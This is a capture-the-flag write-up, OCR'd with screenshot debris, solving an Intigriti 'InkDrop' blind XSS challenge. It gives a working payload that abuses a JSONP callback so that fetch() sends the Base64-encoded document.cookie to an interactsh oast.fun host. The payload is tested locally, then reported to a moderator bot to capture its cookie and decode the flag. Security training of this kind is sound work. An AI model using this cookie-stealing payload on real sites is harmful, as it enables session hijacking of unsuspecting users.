Document.cookie is a JavaScript property so notice how we need to keep it outside of the fetch
URL * (single bracket) and attach it with a + sign.

fetch("https://hszwtkxautpngvbauukbkva58k8i2diev.oast.fun/?flag="+document.cookie)

This is almost good but we have a risk that the cookie encoding messes up our URL. To avoid this
we can for example let JavaScript first convert the cookie content to Base64. This encodes the
cookie content to simple characters which are more likely to be send correctly by the headless
browser.

btoa() is the JavaScript function to convert to Base64. Do not forget to use the encoded + sign %2B
to concatenate the btoa() function so it stays valid JavaScript.

https://developer.mozilla.org/en-US/docs/Web/API/Window/btoa

fetch('https://hszwtkxautpngvbauukbkva58k8i2diev.oast.fun/?flag="%2Bbtoa(document.cookie))

If we now combine this with our simple XSS payload we get following where we replace the alert()
with our blind XSS payload:

<script src="/api/jsonp ?callback=fetch('https://hszwtkxautpngvbauukbkva58k8i2diev.oast.fun/?
flag="%2Bbtoa(document.cookie))//"> </script>

We can test this payload on our own InkDrop post but it will not send any cookies as there is only 1
cookie for our user and it is httpOnly protected but we should receive a callback in our interactsh
interface once the JavaScript fetch is executed to confirm our payload is working.


http://localhost:8080/api/jsonp?callback=alert()//
https://hszwtkxautpngvbauukbkva58k8i2diev.oast.fun/?flag='btoa(document.cookie)
https://hszwtkxautpngvbauukbkva58k8i2diev.oast.fun/?flag='btoa(document.cookie)
http://localhost:8080/api/jsonp?callback=alert()//
https://hszwtkxautpngvbauukbkva58k8i2diev.oast.fun/?flag='btoa(document.cookie)
https://developer.mozilla.org/en-US/docs/Web/API/Window/btoa
https://hszwtkxautpngvbauukbkva58k8i2diev.oast.fun/
https://developer.mozilla.org/en-US/docs/Web/API/Document/cookie

v @ InkDrop — Write & Share X @ New Post — InkDrop x @ localhost:8080/api/jsonp?callb= X ©) Interactsh | Web Client X o - a X
< > C ® localhost:8080/post/new * ®

Content (Markdown supported)

<script src="/api/jsonp?
callback=fetch('https://hszwtkxautpngvbauukbkvas8k8i2diev.oast.fun/?
flag="%2Bbtoa(document.cookie))//"></script>

Cancel Publish

InkDr
i€ L[D CElements Console Sources Network Performance Memory Application  Privacy and security Lighthouse ~ Recorder @ @ i X
Application G Y Filter Zx X [ Only show cookies with an issue
D Manifest Name Value Domain  Path Expires ... Size HttpOnly [Becure SameSite Partitio... CrossS... Priority
Ou Service workers session eylfZmxhc2hlcyl6W3silHQiOlsic3VjY2VzeylslBve3...  localhost  / Session 14¢ v Medium
B storage
Storage

» BB Local storage

» BB Session storage
BB Extension storage
B IndexedDB

~ & Cookies

@ http://localhost:8080

B Private state tokens
B Interest groups

» B Shared storage
& Cache storage
Storage buckets

Once the post is published or opened we can see in the developer tools a request is made to our
interactsh instance thanks to the fetch() function in our payload. Checking interactsh shows
incoming DNS and HTTP requests as expected.



v @ InkDrop — Write & Share X @ Blind XSS — InkDrop X @ localhost:8080/api/jsonp?callb: X | &) Interactsh | Web Client X |+ = [m] X

<& Cc @ localhost:8080/post/7 Y ®

# InkDrop

Blind XSS

> Report to Moderator

N [0 CElements Console Sources Network Performance Memory Application Privacy and security  Lighthouse  Recorder s : x
® @ | Y Q (O Preservelog Disable cache No throttling  ~ %5 & & @
Y Filter O Invert More filters v All Fetch/XHR | Doc || CSS | JS  Font | Img Media Manifest | Socket | Wasm @ Other
100 ms 200ms 300 ms 400 ms 500 ms 600 ms 700 ms 800 ms 900 ms 1,000 ms
- - » .-
Name X Headers Payload Preview Response Initiator  Timing
B new v General
87
Request URL https://hszwtkxautpngvbauukbkva58k8i2diev.oast.fun/?flag=
challenge-style.css
o ) Request Method GET
review.js
= g Status Code @ 200 0K
> 2id=
{7 rendertid=7 Remote Address 206.189.156.69:443
jsonp? = flag=
[) jsonp?callback=fetch(%27https://hszwtkxautpngvbauu...iev.oast.fun/?flag=%27%28B... Referrer Policy I Or g enStT osYor g
D ?flag=
v Response headers
Access-Control-Allow-Credentials true
Access-Control-Allow-Headers Content-Type, Authorization
Access-Control-Allow-Origin *
Content-Length 0
Date Sat, 21 Feb 2026 13:45:36 GMT
Server oast.fun
X-Interactsh-Version 122

¥ Request Headers

:authority hszwtkxautpngvbauukbkva58k8i2diev.oast.fun
:method GET

:path /?lag=

:scheme https

Accept o



— Write & Share x @ Blind XSS — InkDrop x @ localho

%5 app.nteractsh.com

D @

@ ®
interactsh | pouc nmaue  Auto Download oast.fu ] Reset &J Notifications (}, Export Terms About

C' Refresh

‘ Request  Response ‘ From IP address: 84.197.183.208 at 2026-02-21_02:45

Request

GET /2flag= HTTP/2.0
Host :hszwtkxautpngvbauukbkvasgkgizdiev.oast. fun
less than a minute ago il i )
Accept-Encoding:gzip, deflate, br, zstd
Accept-Language:en-US,en;q=0.9
a Cache-Control:no-cache
Lless than a minute ago X
origin:http://localhost:8080
Pragma:no—cache
Priority:u=1, i
Referer:http://localhost:8080/
Sec-Ch-Ua: "Not:A-Brand”;v="99", "Google Chrome”;v="145", “Chromium";v="145"
Sec-Ch-Ua-Mobile:?@
Sec-Ch-Ua-Platform: "Windows™
Sec-Fetch-Dest :empty

less than a minute ago

Lless than a minute ago

. Sec-Fetch-Mode:cors
Lless than a minute ago -
Sec-Fetch-Site:cross-site

User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.8.0 Safari/s37

less than a minute ago
less than a minute ago

less than a minute ago
Response

Lless than a minute ago

HTTP/1.1 200 0K
Connection:close

Access-Control-Allow-Credentials:true
Access-Control-Allow-Headers:Content-Type, Authorization
Access-Control-Allow-Origin:*

Server:oast. fun

X-Interactsh-version:1.2.2

No cookies attached to the request as the cookie in our account is httpOnly protected. Time to
deliver this payload to the Moderator or BOT via the “Report to Moderator” button.

— Write & Sha @ Blind XSS — InkDrop host:8080/api/jsonp?callb nteractsh | Web Client

® localhost:8080/post/8

4 InkDrop Dashboard  Logout

Blind XSS

By Joren - February 21, 20

P> Report to Moderator




To steal the flag we need to move now away from our local instance and get to the real challenge
page.

https://challenge-0226.intigriti.io/dashboard

Create an account, login and create that first post with the payload we just tested.

Once we report our post to the Moderator the only thing we can do is wait and check our interactsh
instance for a callback once the Moderator reads our post. When the Moderator opens the post our
injected JavaScript should execute and send the Moderator cookie encoded as Base64.

v @ NewPost— InkDrop X @ test—InkDrop X | @ localhost:8080/api/jsonp?callb: - X | &) Interactsh | Web Client X |+ - (=] X

& c 25 challenge-0226.intigriti.io/post/new Yo ®

p InkDrop Dashboard [MEMEBGSI Logout

Create New Post

Title

test post
Content (Markdown supported)
<script src="/api/jsonp?

callback=fetch("https://hszwtkxautpngvbauukbkva58k8i2diev.oast.fun/?
flag="%2Bbtoa(document.cookie))//"></script>

Cancel Publish

InkDro g Platform



https://challenge-0226.intigriti.io/dashboard

% | @ localho ) ? S int h | Web Client

challenge-0226.intigriti.io/post/1105

ﬁ InkDrop Dashboard  Logout

test post

By rdid_@intigriti.me + Februan

> Report to Moderator

Once reported we see callbacks coming into our interactsh instance

X | @ test— InkDrop X | @ localho:

app.interactsh.com

interactsh E;msym‘él;m Auto Download oast.fu B Reset & Notifications Y, Export Terms About

C Refresh

‘ Request  Response ‘ [‘ From IP address: 34.140.37.218 at 2026-02-21_02:58

hszwtkxautpngvbauukbkva58k8i2diev.... @

Request

OPTIONS /?flag=Zmxhzz1JTIRIR1IIVEIZMDESYZY20GYtYmY5Zi@3MGUALWI30TMEODB]ZTdMODZIMDBifQ== HTTP/2.0
Host:hszwtkxautpngvbauukbkvas5sksi2diev.oast.fun

less than a minute ago il i X
Accept-Encoding:gzip, deflate, br
Access-Control-Request-Headers:x-preview-token
Access-Control-Request-Method:GET
origin:http://localhost :8080
Referer:http://localhost: 8080/

less than a minute ago

. Sec-Fetch-Dest:empty
less than a minute ago

Sec-Fetch-Mode:cors
Sec-Fetch-Site:cross-site

. User-Agent:Mozilla/5.@ (X11; Linux x86_64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36 InkDropBot/2.0
less than a minute ago

2 minutes ago

2 minutes ago

2 minutes ago

Response

HTTP/1.1 204 No Content
Connection:close

Access-Control-Allow-Credentials:true




More important notice how the flag parameter now contains a Base64 encoded part.

ZmxhZz1JTIRJR1JJVEI7MDES5YzY20GYtYmY5Zi03MGU4LWI3OTMtODBIZTdmODZIMDBIfQ=

Use a Base64 converter to make it human readable: https://gchg.github.io/CyberChef/ (From
Baseb64 filter)

|
+ 8
e

Zmehzz107)

oooooooooo

,,,,,

Output 8BDm®:o

‘‘‘‘‘‘‘‘‘

uuuuuuu

ooooo

This gives us the flag we are looking for and solves the challenge:
Slag=INTIGRITI{019c668f-bf9f-70e8-b793-80ee7f86e00b}


https://gchq.github.io/CyberChef/




